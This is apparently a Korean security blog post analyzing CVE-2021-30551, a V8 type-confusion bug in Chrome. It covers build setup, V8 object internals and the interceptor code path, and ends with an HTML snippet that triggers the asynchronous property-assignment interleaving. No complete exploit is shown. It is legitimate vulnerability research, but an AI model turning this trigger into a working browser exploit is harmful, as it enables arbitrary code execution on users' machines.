본문 바로가기

Research/Browser

CVE-2021-30551 (Type confusion in V8 in Google Chrome)

Introduction

CVE-2021-30551은 property interceptor가 JavaScript의 asynchronous task를 고려하지 않아 발생하는 버그로, type confusion을 이용하여 arbitrary code execution이 가능한 취약점입니다.

Environment Setting

Install Depot_tools

Chromium 빌드를 위해 depot_tools를 설치합니다.

cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$PWD/depot_tools:$PATH

Download Chromium source code

Chromium 소스 코드를 다운받습니다.

cd ~
mkdir chromium
cd chromium
fetch chromium
cd src

Crbug에서 PoC를 테스트한 버전을 명시해 두었습니다.

이 버전에 해당하는 커밋으로 checkout합니다.

git checkout 40b11e7395bc65181fbf3259b6a4514f6c6ab839

분석을 하다 보면 다음과 같이 Debug check failed 에러가 발생하는 경우가 있습니다.

이런 경우에는 에러가 발생한 위치(이 경우 map.cc 파일의 462번째 줄)에 있는 DCHECK()를 주석 처리해 주면 됩니다.

Install build dependencies

빌드에 필요한 dependency들을 설치합니다.

gclient sync -D
sudo apt install -y python
./build/install-build-deps.sh
sudo apt install -y ninja-build

Build

Release 모드와 debug 모드로 각각 빌드합니다.

gn gen out/release --args="is_debug=false"; ninja -C out/release chrome  # release mode
gn gen out/debug --args=""; ninja -C out/debug chrome  # debug mode

Build V8

V8에서 테스트가 필요할 때마다 Chromium을 실행해서 개발자 도구의 콘솔을 사용하는 것은 번거롭고 불편하기 때문에, V8만 따로 빌드해 두면 좋습니다.

V8 소스 코드를 다운받습니다.

cd ~
mkdir v8
cd v8
fetch v8
cd v8

Chromium 소스 코드에 포함된 V8의 버전을 확인해 보면 다음과 같습니다.

/* v8/include/v8-version.h */

// These macros define the version number for the current version.
// NOTE these macros are used by some of the tool scripts and the build
// system so their names cannot be changed without changing the scripts.
#define V8_MAJOR_VERSION 9
#define V8_MINOR_VERSION 1
#define V8_BUILD_NUMBER 269
#define V8_PATCH_LEVEL 28

이 버전에 해당하는 커밋으로 checkout합니다.

git checkout fd856cebb3515699d942d0f2517f6658a0cf720b

빌드에 필요한 dependency들을 설치합니다.

gclient sync -D
sudo apt install -y python
./build/install-build-deps.sh
sudo apt install -y ninja-build

Release 모드와 debug 모드로 각각 빌드합니다.

./tools/dev/gm.py x64.release  # release mode
./tools/dev/gm.py x64.debug  # debug mode

Prerequisite Knowledge

Named property / Array-indexed property

JavaScript에서 object의 property는 named propertyarray-indexed property로 구분됩니다. Named property는 key가 문자열인 property이고, array-indexed property는 key가 정수인 property로 element라고도 합니다.

/* test.js */

let o = {
    a: 1,  // named property
    1: 1  // array-indexed property (element)
};

% DebugPrint(o);
$ ~/v8/v8/out/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0xb2b001cc629: [JS_OBJECT_TYPE]
 - map: 0x0b2b000db16d <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0b2b000c4b79 <Object map = 0xb2b000c41b5>
 - elements: 0x0b2b001cc655 <FixedArray[19]> [HOLEY_ELEMENTS]
 - properties: 0x0b2b00000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0xb2b00002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
 - elements: 0x0b2b001cc655 <FixedArray[19]> {
           0: 0x0b2b0000026d <Other heap object (HOLE_TYPE)>
           1: 1
        2-18: 0x0b2b0000026d <Other heap object (HOLE_TYPE)>
 }
...

Named property와 array-indexed property가 저장되는 위치가 다른 것을 확인할 수 있습니다.

그런데 위의 실행 결과에서 분명 named property가 존재하지만 properties의 type이 FixedArray[0]입니다. 이것은 이 named property가 in-object property로 저장되었기 때문인데, 뒤에서 더 자세히 설명하겠습니다.

Map(HiddenClass) / Descriptor array

Map(HiddenClass)은 object의 meta information을 저장하고 있습니다. Object와 map의 관계는 객체(instance)와 클래스의 관계와 유사하다고 이해할 수 있습니다. V8은 어떤 object에 접근할 때 map을 통해 object의 메모리 구조를 파악합니다.

/* v8/src/objects/map.h */

// All heap objects have a Map that describes their structure.
//  A Map contains information about:
//  - Size information about the object
//  - How to iterate over an object (for garbage collection)
//
// Map layout:
// +---------------+-------------------------------------------------+
// |   _ Type _    | _ Description _                                 |
// +---------------+-------------------------------------------------+
// | TaggedPointer | map - Always a pointer to the MetaMap root      |
// +---------------+-------------------------------------------------+
// | Int           | The first int field                             |
//  `---+----------+-------------------------------------------------+
//      | Byte     | [instance_size]                                 |
//      +----------+-------------------------------------------------+
//      | Byte     | If Map for a primitive type:                    |
//      |          |   native context index for constructor fn       |
//      |          | If Map for an Object type:                      |
//      |          |   inobject properties start offset in words     |
//      +----------+-------------------------------------------------+
//      | Byte     | [used_or_unused_instance_size_in_words]         |
//      |          | For JSObject in fast mode this byte encodes     |
//      |          | the size of the object that includes only       |
//      |          | the used property fields or the slack size      |
//      |          | in properties backing store.                    |
//      +----------+-------------------------------------------------+
//      | Byte     | [visitor_id]                                    |
// +----+----------+-------------------------------------------------+
// | Int           | The second int field                            |
//  `---+----------+-------------------------------------------------+
//      | Short    | [instance_type]                                 |
//      +----------+-------------------------------------------------+
//      | Byte     | [bit_field]                                     |
//      |          |   - has_non_instance_prototype (bit 0)          |
//      |          |   - is_callable (bit 1)                         |
//      |          |   - has_named_interceptor (bit 2)               |
//      |          |   - has_indexed_interceptor (bit 3)             |
//      |          |   - is_undetectable (bit 4)                     |
//      |          |   - is_access_check_needed (bit 5)              |
//      |          |   - is_constructor (bit 6)                      |
//      |          |   - has_prototype_slot (bit 7)                  |
//      +----------+-------------------------------------------------+
//      | Byte     | [bit_field2]                                    |
//      |          |   - new_target_is_base (bit 0)                  |
//      |          |   - is_immutable_proto (bit 1)                  |
//      |          |   - unused bit (bit 2)                          |
//      |          |   - elements_kind (bits 3..7)                   |
// +----+----------+-------------------------------------------------+
// | Int           | [bit_field3]                                    |
// |               |   - enum_length (bit 0..9)                      |
// |               |   - number_of_own_descriptors (bit 10..19)      |
// |               |   - is_prototype_map (bit 20)                   |
// |               |   - is_dictionary_map (bit 21)                  |
// |               |   - owns_descriptors (bit 22)                   |
// |               |   - is_in_retained_map_list (bit 23)            |
// |               |   - is_deprecated (bit 24)                      |
// |               |   - is_unstable (bit 25)                        |
// |               |   - is_migration_target (bit 26)                |
// |               |   - is_extensible (bit 28)                      |
// |               |   - may_have_interesting_symbols (bit 28)       |
// |               |   - construction_counter (bit 29..31)           |
// |               |                                                 |
// +*****************************************************************+
// | Int           | On systems with 64bit pointer types, there      |
// |               | is an unused 32bits after bit_field3            |
// +*****************************************************************+
// | TaggedPointer | [prototype]                                     |
// +---------------+-------------------------------------------------+
// | TaggedPointer | [constructor_or_back_pointer_or_native_context] |
// +---------------+-------------------------------------------------+
// | TaggedPointer | [instance_descriptors]                          |
// +*****************************************************************+
// | TaggedPointer | [dependent_code]                                |
// +---------------+-------------------------------------------------+
// | TaggedPointer | [prototype_validity_cell]                       |
// +---------------+-------------------------------------------------+
// | TaggedPointer | If Map is a prototype map:                      |
// |               |   [prototype_info]                              |
// |               | Else:                                           |
// |               |   [raw_transitions]                             |
// +---------------+-------------------------------------------------+

위의 map layout에서 [instance_descriptors]로 표현되어 있는 descriptor array는 named property들에 대한 정보를 저장합니다. Descriptor array에는 맨 앞에 map과 header가 있고, 그 뒤에는 property의 key, details, constants로 이루어진 triplet들이 나열되어 있습니다.

/* v8/src/objects/descriptor-array.h */

// A DescriptorArray is a custom array that holds instance descriptors.
// It has the following layout:
//   Header:
//     [16:0  bits]: number_of_all_descriptors (including slack)
//     [32:16 bits]: number_of_descriptors
//     [48:32 bits]: raw_number_of_marked_descriptors (used by GC)
//     [64:48 bits]: alignment filler
//     [kEnumCacheOffset]: enum cache
//   Elements:
//     [kHeaderSize + 0]: first key (and internalized String)
//     [kHeaderSize + 1]: first descriptor details (see PropertyDetails)
//     [kHeaderSize + 2]: first value for constants / Smi(1) when not used
//   Slack:
//     [kHeaderSize + number of descriptors * 3]: start of slack
// The "value" fields store either values or field types. A field type is either
// FieldType::None(), FieldType::Any() or a weak reference to a Map. All other
// references are strong.

메모리에서 map과 descriptor array를 따라가 보면 다음과 같습니다.

/* test.js */

let o = { a: 1, b: 2 };

% DebugPrint(o);

Map transition / deprecation

서로 다른 두 개의 object들이 같은 이름의 property들을 같은 순서로 저장하고 있는 경우, 즉 같은 메모리 구조를 가진 경우, 이 object들은 동일한 map을 공유합니다. 서로 다른 메모리 구조를 가진 object들은 다른 map을 가져야 하기 때문에, 만약 둘 중 하나의 object에 property가 추가되면 이 object의 map은 변경되어야 합니다. 이렇게 map이 변경되는 과정을 map transition(migration)이라고 합니다.

V8은 object가 map transition을 거치면서 가졌던 모든 map들을 연결하여 transition tree를 생성합니다. 그리고 나중에 같은 순서로 property가 추가되는 다른 object가 있을 때 이 transition tree를 따라가며 기존에 있던 map을 갖도록 하여 효율성을 높입니다.

그러다가 transition tree의 순서에 맞지 않는 다른 property가 추가되면 그때 새로운 map을 생성하고 transition tree에 새로운 branch를 추가합니다.

많은 수의 map이 생성되다 보면, 어떤 map은 다른 map으로 대체될 수 있어 더 이상 필요하지 않게 될 수 있습니다. 예를 들어 다음과 같은 상황을 생각해 볼 수 있습니다.

/* test.js */

let o1 = {};  // o1: map0
o1.a = 1;  // o1: map1

let o2 = {};  // o2: map0
o2.a = 1.1;  // o2: map2 (map1 is deprecated)

% DebugPrint(o1);

o1.a에는 SMI인 1을 넣었고, o2.a에는 HeapNumber인 1.1을 넣었습니다. 추가한 property의 name은 a로 같지만 type이 다르기 때문에 o1o2는 다른 map을 가지게 됩니다. 그러나 o1.a는 HeapNumber 형태인 1.0으로도 표현할 수 있기 때문에, o1의 map은 o2의 map으로 대체될 수 있습니다. 이런 경우 o1의 map은 deprecated map으로 표시되고, 다음 property assignment 직전에 transition tree에서 o2의 map으로 migrate됩니다.

Three different kinds of named property

Named property는 in-object property 또는 normal property로 저장될 수 있으며, normal property는 fast property이거나 slow property일 수 있습니다.

In-object property는 object 구조 자체에서 바로 접근할 수 있는 property입니다. 별도의 저장 공간을 할당하고 참조할 필요가 없기 때문에 메모리를 절약할 수 있고 접근 속도가 빠릅니다.

기본적으로 object를 생성할 때 정의한 property의 개수만큼 in-object property를 저장할 수 있는 공간이 할당됩니다.

/* test.js */

let o = { a: 1, b: 2, c: 3, d: 4, e: 5, f: 6, g: 7 };

% DebugPrint(o);
$ ~/v8/v8/out/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x3bd2081483dd: [JS_OBJECT_TYPE]
 - map: 0x3bd208307231 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3bd2082c3ce1 <Object map = 0x3bd2083021b9>
 - elements: 0x3bd20804222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x3bd20804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3bd2080c69e5: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x3bd2080c6a81: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
    0x3bd2082d2469: [String] in OldSpace: #c: 3 (const data field 2), location: in-object
    0x3bd2082d2479: [String] in OldSpace: #d: 4 (const data field 3), location: in-object
    0x3bd2082d2489: [String] in OldSpace: #e: 5 (const data field 4), location: in-object
    0x3bd2082d2499: [String] in OldSpace: #f: 6 (const data field 5), location: in-object
    0x3bd20807b1c1: [String] in ReadOnlySpace: #g: 7 (const data field 6), location: in-object
 }
...

맨 뒤에 있는 property를 제거해서 빈 공간을 만들고 새로운 property를 추가하면 in-object property로 저장됩니다.

/* test.js */

let o = { a: 1, b: 2, c: 3, d: 4, e: 5, f: 6, g: 7 };

delete o.g;
delete o.f;
o.h = 8;
o.i = 9;

% DebugPrint(o);
$ ~/v8/v8/out/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x26cb08148409: [JS_OBJECT_TYPE]
 - map: 0x26cb08307281 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x26cb082c3ce1 <Object map = 0x26cb083021b9>
 - elements: 0x26cb0804222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x26cb0804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x26cb080c69e5: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x26cb080c6a81: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
    0x26cb082d2469: [String] in OldSpace: #c: 3 (const data field 2), location: in-object
    0x26cb082d2479: [String] in OldSpace: #d: 4 (const data field 3), location: in-object
    0x26cb082d2489: [String] in OldSpace: #e: 5 (const data field 4), location: in-object
    0x26cb082d24a9: [String] in OldSpace: #h: 8 (const data field 5), location: in-object
    0x26cb080c6b6d: [String] in ReadOnlySpace: #i: 9 (const data field 6), location: in-object
 }
...

만약 object를 생성할 때 property를 하나도 정의하지 않으면 in-object property의 최대 개수는 4개가 됩니다.

/* test.js */

let o = {};

o.a = 1;
o.b = 2;
o.c = 3;
o.d = 4;
o.e = 5;

% DebugPrint(o);
$ ~/v8/v8/out/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x3683081483e1: [JS_OBJECT_TYPE]
 - map: 0x3683083071b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3683082c3ce1 <Object map = 0x3683083021b9>
 - elements: 0x36830804222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x368308148501 <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x3683080c69e5: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x3683080c6a81: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
    0x3683082d2469: [String] in OldSpace: #c: 3 (const data field 2), location: in-object
    0x3683082d2479: [String] in OldSpace: #d: 4 (const data field 3), location: in-object
    0x3683082d2489: [String] in OldSpace: #e: 5 (const data field 4), location: properties[0]
 }
...

Normal property는 새로 할당된 별도의 store에 저장되는 property입니다. 이 중에서 fast property의 경우 store에 value만 저장되고, key를 통해 접근하고자 하는 경우 descriptor array를 참조해야 합니다.

In-object property의 최대 개수보다 더 많은 property를 추가할 경우, 나머지는 fast property로 저장됩니다.

/* test.js */

let o = { a: 1, b: 2 };

o.c = 3;
o.d = 4;
o.e = 5;

% DebugPrint(o);

PropertyArray가 가득 찬 위와 같은 상황에서 property를 추가하면, PropertyArray가 새로 할당되면서 크기가 3씩 증가합니다.

많은 property가 추가되고 제거되는 과정에서 map과 descriptor array를 참조하는 데 많은 시간이 소요되고 memory overhead가 증가할 수 있습니다. V8은 이런 경우에 property들을 slow property로 전환하여 관리합니다. Slow property는 key, value, details가 한 쌍인 dictionary 형태로 저장됩니다.

property들 중 가장 마지막에 있지 않은 property가 제거되어 중간에 빈 공간이 생기면 모든 property들이 slow property로 전환됩니다.

/* test.js */

let o = { a: 1, b: 2};

o.c = 3;
o.d = 4;

delete o.c;

% DebugPrint(o);
$ ~/v8/v8/out/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0xa73081483dd: [JS_OBJECT_TYPE]
 - map: 0x0a7308305391 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x0a73082c3ce1 <Object map = 0xa73083021b9>
 - elements: 0x0a730804222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0a73081484bd <NameDictionary[53]>
 - All own properties (excluding elements): {
   a: 1 (data, dict_index: 1, attrs: [WEC])
   b: 2 (data, dict_index: 2, attrs: [WEC])
   d: 4 (data, dict_index: 4, attrs: [WEC])
 }
...

Prototype chain

Object는 prototype(key: __proto__)으로부터 모든 property들을 상속받습니다. Object와 prototype의 관계는 자식 클래스와 부모 클래스의 관계와 유사하다고 이해할 수 있습니다.

그런데 Object의 prototype도 하나의 object이기 때문에, 또다시 prototype을 가질 수 있습니다. 이렇게 이어져 있는 형태를 prototype chain이라고 합니다. 이 chain은 prototype이 null인 object가 있을 때까지 계속 이어집니다.

Object의 property에 key를 통해 접근하려고 할 때, V8은 object의 prototype chain을 따라 올라가면서 그 key가 있는지 탐색합니다.

Prototype chain을 모두 탐색했는데도 key를 찾지 못하면 그때 undefined를 반환하게 됩니다.

Property interceptor

V8이 property interceptor를 가지고 있는 object의 property에 접근하려는 경우, interceptor가 그 작업을 가로채서 대신 수행합니다. Interceptor는 다음과 같이 구현되어 있습니다.

/* third_party/blink/renderer/bindings/core/v8/custom/v8_html_plugin_element_custom.cc */

void V8HTMLEmbedElement::NamedPropertyGetterCustom(
    const AtomicString& name,
    const v8::PropertyCallbackInfo<v8::Value>& info) {
  UseCounter::Count(CurrentExecutionContext(info.GetIsolate()),
                    WebFeature::kHTMLEmbedElementGetter);
  GetScriptableObjectProperty<V8HTMLEmbedElement>(name, info);
}

void V8HTMLObjectElement::NamedPropertyGetterCustom(
    const AtomicString& name,
    const v8::PropertyCallbackInfo<v8::Value>& info) {
  UseCounter::Count(CurrentExecutionContext(info.GetIsolate()),
                    WebFeature::kHTMLObjectElementGetter);
  GetScriptableObjectProperty<V8HTMLObjectElement>(name, info);
}

void V8HTMLEmbedElement::NamedPropertySetterCustom(
    const AtomicString& name,
    v8::Local<v8::Value> value,
    const v8::PropertyCallbackInfo<v8::Value>& info) {
  UseCounter::Count(CurrentExecutionContext(info.GetIsolate()),
                    WebFeature::kHTMLEmbedElementSetter);
  SetScriptableObjectProperty<V8HTMLEmbedElement>(name, value, info);
}

void V8HTMLObjectElement::NamedPropertySetterCustom(
    const AtomicString& name,
    v8::Local<v8::Value> value,
    const v8::PropertyCallbackInfo<v8::Value>& info) {
  UseCounter::Count(CurrentExecutionContext(info.GetIsolate()),
                    WebFeature::kHTMLObjectElementSetter);
  SetScriptableObjectProperty<V8HTMLObjectElement>(name, value, info);
}

V8HTMLEmbedElementV8HTMLObjectElement는 각각 HTML에서 <embed> 요소와 <object> 요소를 의미합니다. JavaScript에서 이 요소들을 object로 가져와서 property를 읽거나 설정하려는 경우, 위의 interceptor들이 그 작업을 대신 수행하게 됩니다.

<button onclick="f()">f</button>
<script>
    function f() {
        let htmlobject = document.createElement('object');
        htmlobject.a = 1;
    }
</script>
$ ~/chromium/src/out/release/chrome test.html
gdb-peda$ bt
#0  0x0000562050a446f4 in blink::V8HTMLObjectElement::NamedPropertySetterCustom(WTF::AtomicString const&, v8::Local<v8::Value>, v8::PropertyCallbackInfo<v8::Value> const&) ()
#1  0x0000562050a5574b in blink::V8HTMLObjectElement::NamedPropertySetterCallback(v8::Local<v8::Name>, v8::Local<v8::Value>, v8::PropertyCallbackInfo<v8::Value> const&) ()
#2  0x000056204b86d21a in v8::internal::PropertyCallbackArguments::CallNamedSetter(v8::internal::Handle<v8::internal::InterceptorInfo>, v8::internal::Handle<v8::internal::Name>, v8::internal::Handle<v8::internal::Object>) (this=0x7ffd6d8f89e8, interceptor=..., name=..., value=...) at ../../v8/src/api/api-arguments-inl.h:231
#3  0x000056204b96e88e in v8::internal::(anonymous namespace)::SetPropertyWithInterceptorInternal(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::InterceptorInfo>, v8::Maybe<v8::internal::ShouldThrow>, v8::internal::Handle<v8::internal::Object>) (it=0x7ffd6d8f8b58, interceptor=..., should_throw=..., value=...)
     at ../../v8/src/objects/js-objects.cc:1174
#4  0x000056204b9b04ce in v8::internal::Object::SetPropertyInternal(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>, v8::internal::StoreOrigin, bool*)
     (it=it@entry=0x7ffd6d8f8b58, value=value@entry=..., should_throw=should_throw@entry=..., store_origin=<optimized out>, found=found@entry=0x7ffd6d8f8b17)
     at ../../v8/src/objects/objects.cc:2539
#5  0x000056204b9b02b9 in v8::internal::Object::SetProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::StoreOrigin, v8::Maybe<v8::internal::ShouldThrow>) (it=0x7ffd6d8f8b58, value=..., store_origin=v8::internal::StoreOrigin::kNamed, should_throw=...) at ../../v8/src/objects/objects.cc:2621

Interceptor가 작업을 가로채는 과정은 JavaScript에서 비동기 함수가 호출되는 과정과 비슷하게 이해할 수 있습니다. 코드를 실행하다가 비동기 함수를 만나면 JavaScript 엔진은 이 함수를 비동기 처리를 맡고 있는 쪽에 넘겨 주고 바로 다음 코드를 실행합니다. 비슷하게, 코드를 실행하다가 interceptor가 가로채야 하는 작업을 만날 경우, JavaScript 엔진은 작업을 interceptor에게 넘겨 주고 완료될 때까지 대기합니다.

Analysis

Object::SetProperty()

Object에 property를 추가하는 과정은 Object::SetProperty() 함수가 처리합니다.

/* v8/src/objects/objects.cc */

Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
                                StoreOrigin store_origin,
                                Maybe<ShouldThrow> should_throw) {
  if (it->IsFound()) {
    bool found = true;
    Maybe<bool> result =
        SetPropertyInternal(it, value, should_throw, store_origin, &found);
    if (found) return result;
  }

  // If the receiver is the JSGlobalObject, the store was contextual. In case
  // the property did not exist yet on the global object itself, we have to
  // throw a reference error in strict mode.  In sloppy mode, we continue.
  if (it->GetReceiver()->IsJSGlobalObject() &&
      (GetShouldThrow(it->isolate(), should_throw) ==
       ShouldThrow::kThrowOnError)) {
...
  }

  return AddDataProperty(it, value, NONE, should_throw, store_origin);
}

첫 번째 인자로 들어가는 LookupIterator* it는 object에서 property의 name(key)을 가지고 prototype chain을 탐색하기 위한 iterator입니다.

it->IsFound()는 추가하고자 하는 property가 object에 이미 존재하는지 여부를 나타냅니다.

/* v8/src/objects/lookup.h */

  bool IsFound() const { return state_ != NOT_FOUND; }

isFound()의 반환값이 true일 경우, 즉 추가하고자 하는 property가 이미 존재하는 경우, foundtrue로 설정하고 SetPropertyInternal()을 호출합니다. 그렇지 않은 경우에는 조건문을 건너뛰고, object가 JSGlobalObject인 상황이 아니라면 바로 AddDataProperty()를 호출하여 property를 추가합니다.

특수한 경우로, object의 prototype chain을 따라 올라가다가 interceptor를 가진 object를 만나게 되면 이 object에서 property를 탐색하는 작업은 interceptor가 수행해야 합니다. 이 경우 it->state_LookupIterator::INTERCEPTOR(2)로 설정됩니다. 그러면 IsFound()true를 반환하여 SetPropertyInternal()이 호출됩니다.

Object::SetPropertyInternal()

/* v8/src/objects/objects.cc */

Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,
                                        Handle<Object> value,
                                        Maybe<ShouldThrow> should_throw,
                                        StoreOrigin store_origin, bool* found) {
  it->UpdateProtector();
  DCHECK(it->IsFound());

  // Make sure that the top context does not change when doing callbacks or
  // interceptor calls.
  AssertNoContextChange ncc(it->isolate());

  do {
    switch (it->state()) {
...
      case LookupIterator::INTERCEPTOR: {
        if (it->HolderIsReceiverOrHiddenPrototype()) {
          Maybe<bool> result =
              JSObject::SetPropertyWithInterceptor(it, should_throw, value);
          if (result.IsNothing() || result.FromJust()) return result;
        } else {
          Maybe<PropertyAttributes> maybe_attributes =
              JSObject::GetPropertyAttributesWithInterceptor(it);
          if (maybe_attributes.IsNothing()) return Nothing<bool>();
          if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
            return WriteToReadOnlyProperty(it, value, should_throw);
          }
          if (maybe_attributes.FromJust() == ABSENT) break;
          *found = false;
          return Nothing<bool>();
        }
        break;
      }
...
    }
    it->Next();
  } while (it->IsFound());

  *found = false;
  return Nothing<bool>();
}

SetPropertyInternal()에서 JSObject::GetPropertyAttributesWithInterceptor()를 호출하여 interceptor로 property 탐색 작업을 넘겨줍니다. 이 과정을 backtrace해 보면 다음과 같습니다.

gdb-peda$ bt
#0  0x000055b5c1d18314 in blink::V8HTMLObjectElement::NamedPropertyGetterCustom(WTF::AtomicString const&, v8::PropertyCallbackInfo<v8::Value> const&) ()
#1  0x000055b5c1d296f0 in blink::V8HTMLObjectElement::NamedPropertyGetterCallback(v8::Local<v8::Name>, v8::PropertyCallbackInfo<v8::Value> const&) ()
#2  0x000055b5bcb40f1d in v8::internal::PropertyCallbackArguments::BasicCallNamedGetterCallback(void (*)(v8::Local<v8::Name>, v8::PropertyCallbackInfo<v8::Value> const&), v8::internal::Handle<v8::internal::Name>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>)
     (this=0x7ffe02e45ee8, f=0x55b5c1d296d0 <blink::V8HTMLObjectElement::NamedPropertyGetterCallback(v8::Local<v8::Name>, v8::PropertyCallbackInfo<v8::Value> const&)>, name=..., info=..., receiver=...) at ../../v8/src/api/api-arguments-inl.h:214
#3  0x000055b5bcc42557 in v8::internal::PropertyCallbackArguments::CallNamedGetter(v8::internal::Handle<v8::internal::InterceptorInfo>, v8::internal::Handle<v8::internal::Name>)
     (this=0x7ffe02e45ee8, interceptor=..., name=...) at ../../v8/src/api/api-arguments-inl.h:190
#4  v8::internal::(anonymous namespace)::GetPropertyAttributesWithInterceptorInternal(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::InterceptorInfo>)
     (it=<optimized out>, interceptor=...) at ../../v8/src/objects/js-objects.cc:1138
#5  0x000055b5bcc844eb in v8::internal::Object::SetPropertyInternal(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>, v8::internal::StoreOrigin, bool*) (it=0x7ffe02e46088, value=..., should_throw=..., store_origin=<optimized out>, found=0x7ffe02e46047) at ../../v8/src/objects/objects.cc:2543
#6  0x000055b5bcc842b9 in v8::internal::Object::SetProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::StoreOrigin, v8::Maybe<v8::internal::ShouldThrow>) (it=0x7ffe02e46088, value=..., store_origin=v8::internal::StoreOrigin::kNamed, should_throw=...) at ../../v8/src/objects/objects.cc:2621

JSObject::GetPropertyAttributesWithInterceptor()의 반환값은 interceptor의 탐색 결과를 나타내며, maybe_attributes에 저장됩니다.

Execution flow during property assignment

Property assignment 과정의 실행 흐름을 파악하기 위해 디버깅 메시지를 삽입합니다.

/* v8/src/objects/objects.cc */

Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
                                StoreOrigin store_origin,
                                Maybe<ShouldThrow> should_throw) {
  printf("Object::SetProperty(): ");
  printf("name: ");
  it->GetName()->NameShortPrint();
  printf(", it->state_ == %d\\n", it->state());
...
}
/* v8/src/objects/objects.cc */

Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,
                                        Handle<Object> value,
                                        Maybe<ShouldThrow> should_throw,
                                        StoreOrigin store_origin, bool* found) {
  printf("Object::SetPropertyInternal(): ");
  printf("name: ");
  it->GetName()->NameShortPrint();
  printf("\\n");
...
      case LookupIterator::INTERCEPTOR: {
        if (it->HolderIsReceiverOrHiddenPrototype()) {
          Maybe<bool> result =
              JSObject::SetPropertyWithInterceptor(it, should_throw, value);
          if (result.IsNothing() || result.FromJust()) return result;
        } else {
          Maybe<PropertyAttributes> maybe_attributes =
              JSObject::GetPropertyAttributesWithInterceptor(it);
          printf("Object::SetPropertyInternal(): JSObject::GetPropertyAttributesWithInterceptor() returned\\n");
          if (maybe_attributes.IsNothing()) return Nothing<bool>();
          printf("Object::SetPropertyInternal(): maybe_attributes.FromJust() == %d\\n", maybe_attributes.FromJust());
          if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
            return WriteToReadOnlyProperty(it, value, should_throw);
          }
          if (maybe_attributes.FromJust() == ABSENT) break;
          *found = false;
          return Nothing<bool>();
        }
        break;
      }
...
}
/* v8/src/objects/objects.cc */

Maybe<bool> Object::AddDataProperty(LookupIterator* it, Handle<Object> value,
                                    PropertyAttributes attributes,
                                    Maybe<ShouldThrow> should_throw,
                                    StoreOrigin store_origin) {
  printf("Object::AddDataProperty(): ");
  printf("name: ");
  it->GetName()->NameShortPrint();
  printf("\\n");
...
}
/* v8/src/objects/js-objects.cc */

MaybeHandle<Object> GetPropertyWithInterceptorInternal(
    LookupIterator* it, Handle<InterceptorInfo> interceptor, bool* done) {
...
  } else if (!interceptor->getter().IsUndefined(isolate)) {
    // TODO(verwaest): Use GetPropertyWithInterceptor?
    Handle<Object> result;
    printf("JSObject::GetPropertyAttributesWithInterceptorInternal(): before calling interceptor getter\\n");
    if (it->IsElement(*holder)) {
      result = args.CallIndexedGetter(interceptor, it->array_index());
    } else {
      result = args.CallNamedGetter(interceptor, it->name());
    }
    printf("JSObject::GetPropertyAttributesWithInterceptorInternal(): after calling interceptor getter\\n");
    if (!result.is_null()) return Just(DONT_ENUM);
  }
...
}

먼저 단순히 한 번의 property assignment를 수행하는 코드입니다.

<script>
    let htmlobject = document.createElement('object');  // htmlobject has interceptor
    let o = { __proto__: htmlobject };  // v8 encounters htmlobject which has interceptor while iterating prototype chain
     o.a = 1;
</script>
~/chromium/src/out/debug/chrome test.html

SetProperty()에서 SetPropertyInternal()을 호출하고, interceptor로 넘어갔다가 a라는 이름의 property가 존재하지 않음을 확인한 후, AddDataProperty()를 호출하여 property를 추가하는 과정을 확인할 수 있습니다.

<script>
    let htmlobject = document.createElement('object');  // htmlobject has interceptor
    let o = { __proto__: htmlobject };  // v8 encounters htmlobject which has interceptor while iterating prototype chain

    o.a = 1;
    o.b = 2;
</script>

두 번의 property assignment를 수행할 때도 같은 과정이 두 번 반복되는 것을 확인할 수 있습니다.

그런데 두 번의 assignment 사이에 비동기적으로 실행되는 코드를 넣으면 재미있는 현상을 볼 수 있습니다.

<!-- test.html -->

<body>
    <script>
        let htmlobject = document.createElement('object');  // htmlobject has interceptor
        htmlobject.type = 'text/html';
        htmlobject.onload = () => {
            // onload is called asynchronously
            o.c = 3;
        }
        let o = { __proto__: htmlobject };  // v8 encounters htmlobject which has interceptor while iterating prototype chain

        o.a = 1;
        document.body.append(htmlobject);  // call htmlobject.onload()
        o.b = 2;

        % DebugPrint(o);
    </script>
</body>
